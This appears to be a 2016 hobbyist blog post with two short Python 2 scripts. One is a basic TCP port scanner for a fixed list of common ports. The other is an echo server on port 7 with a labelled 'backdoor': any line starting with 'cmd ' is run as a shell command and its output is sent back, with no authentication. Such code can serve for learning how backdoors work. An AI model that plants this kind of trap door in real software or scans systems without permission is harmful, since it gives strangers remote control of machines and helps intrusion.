Thursday, September 29, 2016

Simple TCP Scanner

#!/usr/bin/python
# Written in September, 2016 for fun.
import socket, sys

port_list = [7, 8, 9, 21, 22, 23, 80, 135, 139, 443, 445, 1025]

try:
    host = sys.argv[1]
except:
    host = raw_input("Scanned Host: ")

for port in port_list:
    #print port, "\n"
    s = socket.socket()
    re = s.connect_ex((host, port))
    if (re == 0):
        print host, ":", port, "is open!"
    else:
        print host, ":", port, "is closed!"
    s.close()

print "Done!"

An echo server with a trap door

#!/usr/bin/python
#Written in August, 2016 with wwiinngd's help
import sys, socket, subprocess, re

s = socket.socket()
host = socket.gethostname()
port = 7
s.bind((host, port))
s.listen(5)
while True:
    c, addr = s.accept()
    print('Client: ', addr)
    while True:
        c.send("request (type \"quit\" to quit): ")
        request = c.recv(1024)
        if (request == "quit\n"):
            c.close()
            del c
            break
        #Backdoor function starts
        match = re.search(r'^cmd (.*)', request, re.M|re.I)
        if match:
            request = "test\n"
            command = match.group(1)
            try:
                output = subprocess.check_output(command, shell=True)
                c.send(output)
            except:
                print "Subprocess is malfunctioning."
        #Backdoor function ends
        print request
        c.send("reply: " + request)
s.close()    

Tuesday, September 27, 2016